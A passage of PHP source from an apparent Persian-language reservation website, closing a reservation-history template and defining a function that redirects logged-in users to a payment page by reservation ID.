                                            <form action="/NasimRezvan/pay" method="POST">
                                                <input type="hidden" name="reservation_id" value="<?php echo $reservation['id']; ?>">
                                                <button type="submit" class="btn-pay">پرداخت</button>
                                            </form>
                                        <?php endif; ?>
                                    </div>
                                </div>
                            <?php endforeach; ?>
                        </div>
                    <?php endif; ?>
                </div>
                
                <a href="index.php?action=dashboard" class="btn-secondary">بازگشت به داشبورد</a>
            </div>
        </div>
    </body>
    </html>
    <?php
    exit();
}

function processPayment() {
    if (!isLoggedIn()) {
        redirect('index.php');
    }
    
    // دریافت اطلاعات رزرو
    $reservation_id = $_POST['reservation_id'] ?? 0;
    
    if ($reservation_id > 0) {
        // هدایت به صفحه پرداخت
        header("Location: /NasimRezvan/pay/?reservation_id=" . $reservation_id);
        exit();
    } else {
        // اگر شناسه رزرو مشخص نیست، به صفحه تاریخچه هدایت شود
        redirect('index.php?action=history');
    }
    exit();
}
?>